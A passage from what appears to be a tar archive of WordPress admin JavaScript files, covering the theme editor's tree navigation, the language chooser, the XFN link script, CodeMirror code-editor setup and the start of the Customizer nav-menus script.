this.firstTreeitem.domNode.tabIndex = 0; }; TreeLinks.prototype.setFocusToItem = function (treeitem) { for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if (ti === treeitem) { ti.domNode.tabIndex = 0; ti.domNode.focus(); } else { ti.domNode.tabIndex = -1; } } }; TreeLinks.prototype.setFocusToNextItem = function (currentItem) { var nextItem = false; for (var i = (this.treeitems.length - 1); i >= 0; i--) { var ti = this.treeitems[i]; if (ti === currentItem) { break; } if (ti.isVisible) { nextItem = ti; } } if (nextItem) { this.setFocusToItem(nextItem); } }; TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) { var prevItem = false; for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if (ti === currentItem) { break; } if (ti.isVisible) { prevItem = ti; } } if (prevItem) { this.setFocusToItem(prevItem); } }; TreeLinks.prototype.setFocusToParentItem = function (currentItem) { if (currentItem.groupTreeitem) { this.setFocusToItem(currentItem.groupTreeitem); } }; TreeLinks.prototype.setFocusToFirstItem = function () { this.setFocusToItem(this.firstTreeitem); }; TreeLinks.prototype.setFocusToLastItem = function () { this.setFocusToItem(this.lastTreeitem); }; TreeLinks.prototype.expandTreeitem = function (currentItem) { if (currentItem.isExpandable) { currentItem.domNode.setAttribute('aria-expanded', true); this.updateVisibleTreeitems(); } }; TreeLinks.prototype.expandAllSiblingItems = function (currentItem) { for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) { this.expandTreeitem(ti); } } }; TreeLinks.prototype.collapseTreeitem = function (currentItem) { var groupTreeitem = false; if (currentItem.isExpanded()) { groupTreeitem = currentItem; } else { groupTreeitem = currentItem.groupTreeitem; } if (groupTreeitem) { groupTreeitem.domNode.setAttribute('aria-expanded', false); this.updateVisibleTreeitems(); this.setFocusToItem(groupTreeitem); } }; TreeLinks.prototype.updateVisibleTreeitems = function () { this.firstTreeitem = this.treeitems[0]; for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; var parent = ti.domNode.parentNode; ti.isVisible = true; while (parent && (parent !== this.domNode)) { if (parent.getAttribute('aria-expanded') == 'false') { ti.isVisible = false; } parent = parent.parentNode; } if (ti.isVisible) { this.lastTreeitem = ti; } } }; TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) { var start, index; _char = _char.toLowerCase(); // Get start index for search based on position of currentItem. start = this.treeitems.indexOf(currentItem) + 1; if (start === this.treeitems.length) { start = 0; } // Check remaining slots in the menu. index = this.getIndexFirstChars(start, _char); // If not found in remaining slots, check from beginning. if (index === -1) { index = this.getIndexFirstChars(0, _char); } // If match was found... if (index > -1) { this.setFocusToItem(this.treeitems[index]); } }; TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) { for (var i = startIndex; i < this.firstChars.length; i++) { if (this.treeitems[i].isVisible) { if (_char === this.firstChars[i]) { return i; } } } return -1; }; return TreeLinks; })(); /* jshint ignore:end */ /* jscs:enable */ /* eslint-enable */ return component; })( jQuery ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.0 * @deprecated 5.5.0 * * @type {object} */ wp.themePluginEditor.l10n = wp.themePluginEditor.l10n || { saveAlert: '', saveError: '', lintError: { alternative: 'wp.i18n', func: function() { return { singular: '', plural: '' }; } } }; wp.themePluginEditor.l10n = window.wp.deprecateL10nObject( 'wp.themePluginEditor.l10n', wp.themePluginEditor.l10n, '5.5.0' ); language-chooser.js 0000644 00000001572 15222552267 0010342 0 ustar 00 /** * @output wp-admin/js/language-chooser.js */ jQuery( function($) { /* * Set the correct translation to the continue button and show a spinner * when downloading a language. */ var select = $( '#language' ), submit = $( '#language-continue' ); if ( ! $( 'body' ).hasClass( 'language-chooser' ) ) { return; } select.trigger( 'focus' ).on( 'change', function() { /* * When a language is selected, set matching translation to continue button * and attach the language attribute. */ var option = select.children( 'option:selected' ); submit.attr({ value: option.data( 'continue' ), lang: option.attr( 'lang' ) }); }); $( 'form' ).on( 'submit', function() { // Show spinner for languages that need to be downloaded. if ( ! select.children( 'option:selected' ).data( 'installed' ) ) { $( this ).find( '.step .spinner' ).css( 'visibility', 'visible' ); } }); }); xfn.min.js 0000644 00000000712 15222552267 0006467 0 ustar 00 /*! This file is auto-generated */ jQuery(function(l){l("#link_rel").prop("readonly",!0),l("#linkxfndiv input").on("click keyup",function(){var e=l("#me").is(":checked"),i="";l("input.valinp").each(function(){e?l(this).prop("disabled",!0).parent().addClass("disabled"):(l(this).removeAttr("disabled").parent().removeClass("disabled"),l(this).is(":checked")&&""!==l(this).val()&&(i+=l(this).val()+" "))}),l("#link_rel").val(e?"me":i.substr(0,i.length-1))})}); code-editor.js 0000644 00000043053 15222552267 0007315 0 ustar 00 /** * @output wp-admin/js/code-editor.js */ /* global console */ /* eslint-env es2020 */ if ( 'undefined' === typeof window.wp ) { /** * @namespace wp */ window.wp = {}; } if ( 'undefined' === typeof window.wp.codeEditor ) { /** * @namespace wp.codeEditor */ window.wp.codeEditor = {}; } /** * @typedef {object} CodeMirrorState * @property {boolean} [completionActive] - Whether completion is active. * @property {boolean} [focused] - Whether the editor is focused. */ /** * @typedef {import('codemirror').EditorFromTextArea & { * options: import('codemirror').EditorConfiguration, * performLint?: () => void, * showHint?: (options: import('codemirror').ShowHintOptions) => void, * state: CodeMirrorState * }} CodeMirrorEditor */ /** * @typedef {object} LintAnnotation * @property {string} message - Message. * @property {'error'|'warning'} severity - Severity. * @property {import('codemirror').Position} from - From position. * @property {import('codemirror').Position} to - To position. */ /** * @typedef {object} CodeMirrorTokenState * @property {object} [htmlState] - HTML state. * @property {string} [htmlState.tagName] - Tag name. * @property {CodeMirrorTokenState} [curState] - Current state. */ /** * @typedef {import('codemirror').EditorConfiguration & { * lint?: boolean | CombinedLintOptions, * autoCloseBrackets?: boolean, * matchBrackets?: boolean, * continueComments?: boolean, * styleActiveLine?: boolean * }} CodeMirrorSettings */ /** * @typedef {object} CSSLintRules * @property {boolean} [errors] - Errors. * @property {boolean} [box-model] - Box model rules. * @property {boolean} [display-property-grouping] - Display property grouping rules. * @property {boolean} [duplicate-properties] - Duplicate properties rules. * @property {boolean} [known-properties] - Known properties rules. * @property {boolean} [outline-none] - Outline none rules. */ /** * @typedef {object} JSHintRules * @property {number} [esversion] - ECMAScript version. * @property {boolean} [module] - Whether to use modules. * @property {boolean} [boss] - Whether to allow assignments in control expressions. * @property {boolean} [curly] - Whether to require curly braces. * @property {boolean} [eqeqeq] - Whether to require === and !==. * @property {boolean} [eqnull] - Whether to allow == null. * @property {boolean} [expr] - Whether to allow expressions. * @property {boolean} [immed] - Whether to require immediate function invocation. * @property {boolean} [noarg] - Whether to prohibit arguments.caller/callee. * @property {boolean} [nonbsp] - Whether to prohibit non-breaking spaces. * @property {string} [quotmark] - Quote mark preference. * @property {boolean} [undef] - Whether to prohibit undefined variables. * @property {boolean} [unused] - Whether to prohibit unused variables. * @property {boolean} [browser] - Whether to enable browser globals. * @property {Record<string, boolean>} [globals] - Global variables. */ /** * @typedef {object} HTMLHintRules * @property {boolean} [tagname-lowercase] - Tag name lowercase rules. * @property {boolean} [attr-lowercase] - Attribute lowercase rules. * @property {boolean} [attr-value-double-quotes] - Attribute value double quotes rules. * @property {boolean} [doctype-first] - Doctype first rules. * @property {boolean} [tag-pair] - Tag pair rules. * @property {boolean} [spec-char-escape] - Spec char escape rules. * @property {boolean} [id-unique] - ID unique rules. * @property {boolean} [src-not-empty] - Src not empty rules. * @property {boolean} [attr-no-duplication] - Attribute no duplication rules. * @property {boolean} [alt-require] - Alt require rules. * @property {string} [space-tab-mixed-disabled] - Space tab mixed disabled rules. * @property {boolean} [attr-unsafe-chars] - Attribute unsafe chars rules. * @property {JSHintRules} [jshint] - JSHint rules. * @property {CSSLintRules} [csslint] - CSSLint rules. */ /** * Settings for the code editor. * * @typedef {object} CodeEditorSettings * * @property {CodeMirrorSettings} [codemirror] - CodeMirror settings. * @property {CSSLintRules} [csslint] - CSSLint rules. * @property {JSHintRules} [jshint] - JSHint rules. * @property {HTMLHintRules} [htmlhint] - HTMLHint rules. * * @property {(codemirror: CodeMirrorEditor, event: KeyboardEvent|JQuery.KeyDownEvent) => void} [onTabNext] - Callback to handle tabbing to the next tabbable element. * @property {(codemirror: CodeMirrorEditor, event: KeyboardEvent|JQuery.KeyDownEvent) => void} [onTabPrevious] - Callback to handle tabbing to the previous tabbable element. * @property {(errorAnnotations: LintAnnotation[], annotations: LintAnnotation[], annotationsSorted: LintAnnotation[], cm: CodeMirrorEditor) => void} [onChangeLintingErrors] - Callback for when the linting errors have changed. * @property {(errorAnnotations: LintAnnotation[], editor: CodeMirrorEditor) => void} [onUpdateErrorNotice] - Callback for when error notice should be displayed. */ /** * @typedef {import('codemirror/addon/lint/lint').LintStateOptions<Record<string, unknown>> & JSHintRules & CSSLintRules & { rules?: HTMLHintRules }} CombinedLintOptions */ /** * @typedef {object} CodeEditorInstance * @property {CodeEditorSettings} settings - The code editor settings. * @property {CodeMirrorEditor} codemirror - The CodeMirror instance. * @property {() => void} updateErrorNotice - Force update the error notice. */ /** * @typedef {object} WpCodeEditor * @property {CodeEditorSettings} defaultSettings - Default settings. * @property {(textarea: string|JQuery|Element, settings?: CodeEditorSettings) => CodeEditorInstance} initialize - Initialize. */ /** * @param {JQueryStatic} $ - jQuery. * @param {Object & { * codeEditor: WpCodeEditor, * CodeMirror: typeof import('codemirror'), * }} wp - WordPress namespace. */ ( function( $, wp ) { 'use strict'; /** * Default settings for code editor. * * @since 4.9.0 * @type {CodeEditorSettings} */ wp.codeEditor.defaultSettings = { codemirror: {}, csslint: {}, htmlhint: {}, jshint: {}, onTabNext: function() {}, onTabPrevious: function() {}, onChangeLintingErrors: function() {}, onUpdateErrorNotice: function() {}, }; /** * Configure linting. * * @param {CodeEditorSettings} settings - Code editor settings. * * @return {LintingController} Linting controller. */ function configureLinting( settings ) { // eslint-disable-line complexity /** @type {LintAnnotation[]} */ let currentErrorAnnotations = []; /** @type {LintAnnotation[]} */ let previouslyShownErrorAnnotations = []; /** * Call the onUpdateErrorNotice if there are new errors to show. * * @param {import('codemirror').Editor} editor - Editor. * @return {void} */ function updateErrorNotice( editor ) { if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) { settings.onUpdateErrorNotice( currentErrorAnnotations, /** @type {CodeMirrorEditor} */ ( editor ) ); previouslyShownErrorAnnotations = currentErrorAnnotations; } } /** * Get lint options. * * @return {CombinedLintOptions|false} Lint options. */ function getLintOptions() { // eslint-disable-line complexity /** @type {CombinedLintOptions | boolean} */ let options = settings.codemirror?.lint ?? false; if ( ! options ) { return false; } if ( true === options ) { options = {}; } else if ( _.isObject( options ) ) { options = $.extend( {}, options ); } const linterOptions = /** @type {CombinedLintOptions} */ ( options ); // Configure JSHint. if ( 'javascript' === settings.codemirror?.mode && settings.jshint ) { $.extend( linterOptions, settings.jshint ); } // Configure CSSLint. if ( 'css' === settings.codemirror?.mode && settings.csslint ) { $.extend( linterOptions, settings.csslint ); } // Configure HTMLHint. if ( 'htmlmixed' === settings.codemirror?.mode && settings.htmlhint ) { linterOptions.rules = $.extend( {}, settings.htmlhint ); if ( settings.jshint && linterOptions.rules ) { linterOptions.rules.jshint = settings.jshint; } if ( settings.csslint && linterOptions.rules ) { linterOptions.rules.csslint = settings.csslint; } } // Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice. linterOptions.onUpdateLinting = (function( onUpdateLintingOverridden ) { /** * @param {LintAnnotation[]} annotations - Annotations. * @param {LintAnnotation[]} annotationsSorted - Sorted annotations. * @param {CodeMirrorEditor} cm - Editor. */ return function( annotations, annotationsSorted, cm ) { const errorAnnotations = annotations.filter( function( annotation ) { return 'error' === annotation.severity; } ); if ( onUpdateLintingOverridden ) { onUpdateLintingOverridden( annotations, annotationsSorted, cm ); } // Skip if there are no changes to the errors. if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) { return; } currentErrorAnnotations = errorAnnotations; if ( settings.onChangeLintingErrors ) { settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm ); } /* * Update notifications when the editor is not focused to prevent error message * from overwhelming the user during input, unless there are now no errors or there * were previously errors shown. In these cases, update immediately so they can know * that they fixed the errors. */ if ( ! cm.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) { updateErrorNotice( cm ); } }; })( linterOptions.onUpdateLinting ); return linterOptions; } return { getLintOptions, /** * @param {CodeMirrorEditor} editor - Editor instance. * @return {void} */ init: function( editor ) { // Keep lint options populated. editor.on( 'optionChange', function( _cm, option ) { const gutterName = 'CodeMirror-lint-markers'; if ( 'lint' !== ( /** @type {string} */ ( option ) ) ) { return; } const gutters = ( /** @type {string[]} */ ( editor.getOption( 'gutters' ) ) ) || []; const options = editor.getOption( 'lint' ); if ( true === options ) { if ( ! _.contains( gutters, gutterName ) ) { editor.setOption( 'gutters', [ gutterName ].concat( gutters ) ); } editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options. } else if ( ! options ) { editor.setOption( 'gutters', _.without( gutters, gutterName ) ); } // Force update on error notice to show or hide. if ( editor.getOption( 'lint' ) && editor.performLint ) { editor.performLint(); } else { currentErrorAnnotations = []; updateErrorNotice( editor ); } } ); // Update error notice when leaving the editor. editor.on( 'blur', updateErrorNotice ); // Work around hint selection with mouse causing focus to leave editor. editor.on( 'startCompletion', function() { editor.off( 'blur', updateErrorNotice ); } ); editor.on( 'endCompletion', function() { const editorRefocusWait = 500; editor.on( 'blur', updateErrorNotice ); // Wait for editor to possibly get re-focused after selection. _.delay( function() { if ( ! editor.state.focused ) { updateErrorNotice( editor ); } }, editorRefocusWait ); } ); /* * Make sure setting validities are set if the user tries to click Publish * while an autocomplete dropdown is still open. The Customizer will block * saving when a setting has an error notifications on it. This is only * necessary for mouse interactions because keyboards will have already * blurred the field and cause onUpdateErrorNotice to have already been * called. */ $( document.body ).on( 'mousedown', function( /** @type {JQuery.MouseDownEvent} */ event ) { if ( editor.state.focused && ! editor.getWrapperElement().contains( event.target ) && ! event.target.classList.contains( 'CodeMirror-hint' ) ) { updateErrorNotice( editor ); } } ); }, /** * @param {CodeMirrorEditor} editor - Editor instance. * @return {void} */ updateErrorNotice, }; } /** * Configure tabbing. * * @param {CodeMirrorEditor} codemirror - Editor. * @param {CodeEditorSettings} settings - Code editor settings. * * @return {void} */ function configureTabbing( codemirror, settings ) { const $textarea = $( codemirror.getTextArea() ); codemirror.on( 'blur', function() { $textarea.data( 'next-tab-blurs', false ); }); codemirror.on( 'keydown', function onKeydown( _editor, event ) { // Take note of the ESC keypress so that the next TAB can focus outside the editor. if ( 'Escape' === event.key ) { $textarea.data( 'next-tab-blurs', true ); return; } // Short-circuit if tab key is not being pressed or the tab key press should move focus. if ( 'Tab' !== event.key || ! $textarea.data( 'next-tab-blurs' ) ) { return; } // Focus on previous or next focusable item. if ( event.shiftKey && settings.onTabPrevious ) { settings.onTabPrevious( codemirror, event ); } else if ( ! event.shiftKey && settings.onTabNext ) { settings.onTabNext( codemirror, event ); } // Reset tab state. $textarea.data( 'next-tab-blurs', false ); // Prevent tab character from being added. event.preventDefault(); }); } /** * @typedef {object} LintingController * @property {() => CombinedLintOptions|false} getLintOptions - Get lint options. * @property {(editor: CodeMirrorEditor) => void} init - Initialize. * @property {(editor: import('codemirror').Editor) => void} updateErrorNotice - Update error notice. */ /** * Initialize Code Editor (CodeMirror) for an existing textarea. * * @since 4.9.0 * * @param {string|JQuery<HTMLElement>|HTMLElement} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor. * @param {CodeEditorSettings} [settings] - Settings to override defaults. * * @return {CodeEditorInstance} Instance. */ wp.codeEditor.initialize = function initialize( textarea, settings ) { if ( document.readyState === 'loading' ) { console.warn( 'wp.codeEditor.initialize() ran too early. Invoke this function in a `DOMContentLoaded` event listener.' ); } let $textarea; if ( 'string' === typeof textarea ) { $textarea = $( '#' + textarea ); } else { $textarea = $( textarea ); } /** @type {CodeEditorSettings} */ const instanceSettings = $.extend( true, {}, wp.codeEditor.defaultSettings, settings ); const lintingController = configureLinting( instanceSettings ); if ( instanceSettings.codemirror ) { instanceSettings.codemirror.lint = lintingController.getLintOptions(); } const codemirror = /** @type {CodeMirrorEditor} */ ( wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror ) ); lintingController.init( codemirror ); /** @type {CodeEditorInstance} */ const instance = { settings: instanceSettings, codemirror, updateErrorNotice: function() { lintingController.updateErrorNotice( codemirror ); }, }; if ( codemirror.showHint ) { codemirror.on( 'inputRead', function( _editor, change ) { // Only trigger autocompletion for typed input or IME composition. if ( ! change.origin || ( '+input' !== change.origin && ! change.origin.startsWith( '*compose' ) ) ) { return; } // Only trigger autocompletion for single-character inputs. // The text property is an array of strings, one for each line. // We check that there is only one line and that line has only one character. if ( 1 !== change.text.length || 1 !== change.text[0].length ) { return; } const char = change.text[0]; const isAlphaKey = /^[a-zA-Z]$/.test( char ); if ( codemirror.state.completionActive && isAlphaKey ) { return; } // Prevent autocompletion in string literals or comments. const token = /** @type {import('codemirror').Token & { state: CodeMirrorTokenState }} */ ( codemirror.getTokenAt( codemirror.getCursor() ) ); if ( 'string' === token.type || 'comment' === token.type ) { return; } const innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name; const doc = codemirror.getDoc(); const lineBeforeCursor = doc.getLine( doc.getCursor().line ).slice( 0, doc.getCursor().ch ); let shouldAutocomplete = false; if ( 'html' === innerMode || 'xml' === innerMode ) { shouldAutocomplete = ( '<' === char || ( '/' === char && 'tag' === token.type ) || ( isAlphaKey && 'tag' === token.type ) || ( isAlphaKey && 'attribute' === token.type ) || ( '=' === char && !! ( token.state.htmlState?.tagName || token.state.curState?.htmlState?.tagName ) ) ); } else if ( 'css' === innerMode ) { shouldAutocomplete = isAlphaKey || ':' === char || ( ' ' === char && /:\s+$/.test( lineBeforeCursor ) ); } else if ( 'javascript' === innerMode ) { shouldAutocomplete = isAlphaKey || '.' === char; } else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) { shouldAutocomplete = isAlphaKey && ( 'keyword' === token.type || 'variable' === token.type ); } if ( shouldAutocomplete ) { codemirror.showHint( { completeSingle: false } ); } } ); } // Facilitate tabbing out of the editor. configureTabbing( codemirror, instanceSettings ); return instance; }; })( jQuery, window.wp ); customize-nav-menus.js 0000644 00000336727 15222552267 0011065 0 ustar 00 /** * @output wp-admin/js/customize-nav-menus.js */ /* global menus, _wpCustomizeNavMenusSettings, wpNavMenu, console */ ( function( api, wp, $ ) { 'use strict'; /** * Set up wpNavMenu for drag and drop. */ wpNavMenu.originalInit = wpNavMenu.init; wpNavMenu.options.menuItemDepthPerLevel = 20; wpNavMenu.options.sortableItems = '> .customize-control-nav_menu_item'; wpNavMenu.options.targetTolerance = 10; wpNavMenu.init = function() { this.jQueryExtensions(); }; /** * @namespace wp.customize.Menus */ api.Menus = api.Menus || {}; // Link settings. api.Menus.data = { itemTypes: [], l10n: {}, settingTransport: 'refresh', phpIntMax: 0, defaultSettingValues: { nav_menu: {}, nav_menu_item: {} }, locationSlugMappedToName: {} }; if ( 'undefined' !== typeof _wpCustomizeNavMenusSettings ) { $.extend( api.Menus.data, _wpCustomizeNavMenusSettings ); } /** * Newly-created Nav Menus and Nav Menu Items have negative integer IDs which * serve as placeholders until Save & Publish happens. * * @alias wp.customize.Menus.generatePlaceholderAutoIncrementId * * @return {number} */ api.Menus.generatePlaceholderAutoIncrementId = function() { return -Math.ceil( api.Menus.data.phpIntMax * Math.random() ); }; /** * wp.customize.Menus.AvailableItemModel * * A single available menu item model. See PHP's WP_Customize_Nav_Menu_Item_Setting class. * * @class wp.customize.Menus.AvailableItemModel * @augments Backbone.Model */ api.Menus.AvailableItemModel = Backbone.Model.extend( $.extend( { id: null // This is only used by Backbone. }, api.Menus.data.defaultSettingValues.nav_menu_item ) ); /** * wp.customize.Menus.AvailableItemCollection * * Collection for available menu item models. * * @class wp.customize.Menus.AvailableItemCollection * @augments Backbone.Collection */ api.Menus.AvailableItemCollection = Backbone.Collection.extend(/** @lends wp.customize.Menus.AvailableItemCollection.prototype */{ model: api.Menus.AvailableItemModel, sort_key: 'order', comparator: function( item ) { return -item.get( this.sort_key ); }, sortByField: function( fieldName ) { this.sort_key = fieldName; this.sort(); } }); api.Menus.availableMenuItems = new api.Menus.AvailableItemCollection( api.Menus.data.availableMenuItems ); /** * Insert a new `auto-draft` post. * * @since 4.7.0 * @alias wp.customize.Menus.insertAutoDraftPost * * @param {Object} params - Parameters for the draft post to create. * @param {string} params.post_type - Post type to add. * @param {string} params.post_title - Post title to use. * @return {jQuery.promise} Promise resolved with the added post. */ api.Menus.insertAutoDraftPost = function insertAutoDraftPost( params ) { var request, deferred = $.Deferred(); request = wp.ajax.post( 'customize-nav-menus-insert-auto-draft', { 'customize-menus-nonce': api.settings.nonce['customize-menus'], 'wp_customize': 'on', 'customize_changeset_uuid': api.settings.changeset.uuid, 'params': params } ); request.done( function( response ) { if ( response.post_id ) { api( 'nav_menus_created_posts' ).set( api( 'nav_menus_created_posts' ).get().concat( [ response.post_id ] ) ); if ( 'page' === params.post_type ) { // Activate static front page controls as this could be the first page created. if ( api.section.has( 'static_front_page' ) ) { api.section( 'static_front_page' ).activate(); } // Add new page to dropdown-pages controls. api.control.each( function( control ) { var select; if ( 'dropdown-pages' === control.params.type ) { select = control.container.find( 'select[name^="_customize-dropdown-pages-"]' ); select.append( new Option( params.post_title, response.post_id ) ); } } ); } deferred.resolve( response ); } } ); request.fail( function( response ) { var error = response || ''; if ( 'undefined' !== typeof response.message ) { error = response.message; } console.error( error ); deferred.rejectWith( error ); } ); return deferred.promise(); }; api.Menus.AvailableMenuItemsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Menus.AvailableMenuItemsPanelView.prototype */{ el: '#available-menu-items', events: { 'input #menu-items-search': 'debounceSearch', 'focus .menu-item-tpl': 'focus', 'click .menu-item-tpl': '_submit', 'click #custom-menu-item-submit': '_submitLink', 'keypress #custom-menu-item-name': '_submitLink', 'click .new-content-item .add-content': '_submitNew', 'keypress .create-item-input': '_submitNew', 'keydown': 'keyboardAccessible' }, // Cache current selected menu item. selected: null, // Cache menu control that opened the panel. currentMenuControl: null, debounceSearch: null, $search: null, $clearResults: null, searchTerm: '', rendered: false, pages: {}, sectionContent: '', loading: false, addingNew: false, /** * wp.customize.Menus.AvailableMenuItemsPanelView * * View class for the available menu items panel. * * @constructs wp.customize.Menus.AvailableMenuItemsPanelView * @augments wp.Backbone.View */ initialize: function() { var self = this; if ( ! api.panel.has( 'nav_menus' ) ) { return; } this.$search = $( '#menu-items-search' ); this.$clearResults = this.$el.find( '.clear-results' ); this.sectionContent = this.$el.find( '.available-menu-items-list' ); this.debounceSearch = _.debounce( self.search, 500 ); _.bindAll( this, 'close' ); /* * If the available menu items panel is open and the customize controls * are interacted with (other than an item being deleted), then close * the available menu items panel. Also close on back button click. */ $( '#customize-controls, .customize-section-back' ).on( 'click keydown', function( e ) { var isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ), isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' ); if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) { self.close(); } } ); // Clear the search results and trigger an `input` event to fire a new search. this.$clearResults.on( 'click', function() { self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' ); } ); this.$el.on( 'input', '#custom-menu-item-name.invalid, #custom-menu-item-url.invalid', function() { $( this ).removeClass( 'invalid' ); var errorMessageId = $( this ).attr( 'aria-describedby' ); $( '#' + errorMessageId ).hide(); $( this ).removeAttr( 'aria-invalid' ).removeAttr( 'aria-describedby' ); }); // Load available items if it looks like we'll need them. api.panel( 'nav_menus' ).container.on( 'expanded', function() { if ( ! self.rendered ) { self.initList(); self.rendered = true; } }); // Load more items. this.sectionContent.on( 'scroll', function() { var totalHeight = self.$el.find( '.accordion-section.open .available-menu-items-list' ).prop( 'scrollHeight' ), visibleHeight = self.$el.find( '.accordion-section.open' ).height(); if ( ! self.loading && $( this ).scrollTop() > 3 / 4 * totalHeight - visibleHeight ) { var type = $( this ).data( 'type' ), object = $( this ).data( 'object' ); if ( 'search' === type ) { if ( self.searchTerm ) { self.doSearch( self.pages.search ); } } else { self.loadItems( [ { type: type, object: object } ] ); } } }); // Close the panel if the URL in the preview changes. api.previewer.bind( 'url', this.close ); self.delegateEvents(); }, // Search input change handler. search: function( event ) { var $searchSection = $( '#available-menu-items-search' ), $otherSections = $( '#available-menu-items .accordion-section' ).not( $searchSection ); if ( ! event ) { return; } if ( this.searchTerm === event.target.value ) { return; } if ( '' !== event.target.value && ! $searchSection.hasClass( 'open' ) ) { $otherSections.fadeOut( 100 ); $searchSection.find( '.accordion-section-content' ).slideDown( 'fast' ); $searchSection.addClass( 'open' ); this.$clearResults.addClass( 'is-visible' ); } else if ( '' === event.target.value ) { $searchSection.removeClass( 'open' ); $otherSections.show(); this.$clearResults.removeClass( 'is-visible' ); } this.searchTerm = event.target.value; this.pages.search = 1; this.doSearch( 1 ); }, // Get search results. doSearch: function( page ) { var self = this, params, $section = $( '#available-menu-items-search' ), $content = $section.find( '.accordion-section-content' ), itemTemplate = wp.template( 'available-menu-item' ); if ( self.currentRequest ) { self.currentRequest.abort(); } if ( page < 0 ) { return; } else if ( page > 1 ) { $section.addClass( 'loading-more' ); $content.attr( 'aria-busy', 'true' ); wp.a11y.speak( api.Menus.data.l10n.itemsLoadingMore ); } else if ( '' === self.searchTerm ) { $content.html( '' ); wp.a11y.speak( '' ); return; } $section.addClass( 'loading' ); self.loading = true; params = api.previewer.query( { excludeCustomizedSaved: true } ); _.extend( params, { 'customize-menus-nonce': api.settings.nonce['customize-menus'], 'wp_customize': 'on', 'search': self.searchTerm, 'page': page } ); self.currentRequest = wp.ajax.post( 'search-available-menu-items-customizer', params ); self.currentRequest.done(function( data ) { var items; if ( 1 === page ) { // Clear previous results as it's a new search. $content.empty(); } $section.removeClass( 'loading loading-more' ); $content.attr( 'aria-busy', 'false' ); $section.addClass( 'open' ); self.loading = false; items = new api.Menus.AvailableItemCollection( data.items ); self.collection.add( items.models ); items.each( function( menuItem ) { $content.append( itemTemplate( menuItem.attributes ) ); } ); if ( 20 > items.length ) { self.pages.search = -1; // Up to 20 posts and 20 terms in results, if <20, no more results for either. } else { self.pages.search = self.pages.search + 1; } if ( items && page > 1 ) { wp.a11y.speak( api.Menus.data.l10n.itemsFoundMore.replace( '%d', items.length ) ); } else if ( items && page === 1 ) { wp.a11y.speak( api.Menus.data.l10n.itemsFound.replace( '%d', items.length ) ); } }); self.currentRequest.fail(function( data ) { // data.message may be undefined, for example when typing slow and the request is aborted. if ( data.message ) { $content.empty().append( $( '<li class="nothing-found"></li>' ).text( data.message ) ); wp.a11y.speak( data.message ); } self.pages.search = -1; }); self.currentRequest.always(function() { $section.removeClass( 'loading loading-more' ); $content.attr( 'aria-busy', 'false' ); self.loading = false; self.currentRequest = null; }); }, // Render the individual items. initList: function() { var self = this; // Render the template for each item by type. _.each( api.Menus.data.itemTypes, function( itemType ) { self.pages[ itemType.type + ':' + itemType.object ] = 0; } ); self.loadItems( api.Menus.data.itemTypes ); }, /** * Load available nav menu items. * * @since 4.3.0 * @since 4.7.0 Changed function signature to take list of item types instead of single type/object. * @access private * * @param {Array.<Object>} itemTypes List of objects containing type and key. * @param {string} deprecated Formerly the object parameter. * @return {void} */ loadItems: function( itemTypes, deprecated ) { var self = this, _itemTypes, requestItemTypes = [], params, request, itemTemplate, availableMenuItemContainers = {}; itemTemplate = wp.template( 'available-menu-item' ); if ( _.isString( itemTypes ) && _.isString( deprecated ) ) { _itemTypes = [ { type: itemTypes, object: deprecated } ]; } else { _itemTypes = itemTypes; } _.each( _itemTypes, function( itemType ) { var container, name = itemType.type + ':' + itemType.object; if ( -1 === self.pages[ name ] ) { return; // Skip types for which there are no more results. } container = $( '#available-menu-items-' + itemType.type + '-' + itemType.object ); container.find( '.accordion-section-title' ).addClass( 'loading' ); availableMenuItemContainers[ name ] = container; requestItemTypes.push( { object: itemType.object, type: itemType.type, page: self.pages[ name ] } ); } ); if ( 0 === requestItemTypes.length ) { return; } self.loading = true; params = api.previewer.query( { excludeCustomizedSaved: true } ); _.extend( params, { 'customize-menus-nonce': api.settings.nonce['customize-menus'], 'wp_customize': 'on', 'item_types': requestItemTypes } ); request = wp.ajax.post( 'load-available-menu-items-customizer', params ); request.done(function( data ) { var typeInner; _.each( data.items, function( typeItems, name ) { if ( 0 === typeItems.length ) { if ( 0 === self.pages[ name ] ) { availableMenuItemContainers[ name ].find( '.accordion-section-title' ) .addClass( 'cannot-expand' ) .removeClass( 'loading' ) .find( '.accordion-section-title > button' ) .prop( 'tabIndex', -1 ); } self.pages[ name ] = -1; return; } else if ( ( 'post_type:page' === name ) && ( ! availableMenuItemContainers[ name ].hasClass( 'open' ) ) ) { availableMenuItemContainers[ name ].find( '.accordion-section-title > button' ).trigger( 'click' ); } typeItems = new api.Menus.AvailableItemCollection( typeItems ); // @todo Why is this collection created and then thrown away? self.collection.add( typeItems.models ); typeInner = availableMenuItemContainers[ name ].find( '.available-menu-items-list' ); typeItems.each( function( menuItem ) { typeInner.append( itemTemplate( menuItem.attributes ) ); } ); self.pages[ name ] += 1; }); }); request.fail(function( data ) { if ( typeof console !== 'undefined' && console.error ) { console.error( data ); } }); request.always(function() { _.each( availableMenuItemContainers, function( container ) { container.find( '.accordion-section-title' ).removeClass( 'loading' ); } 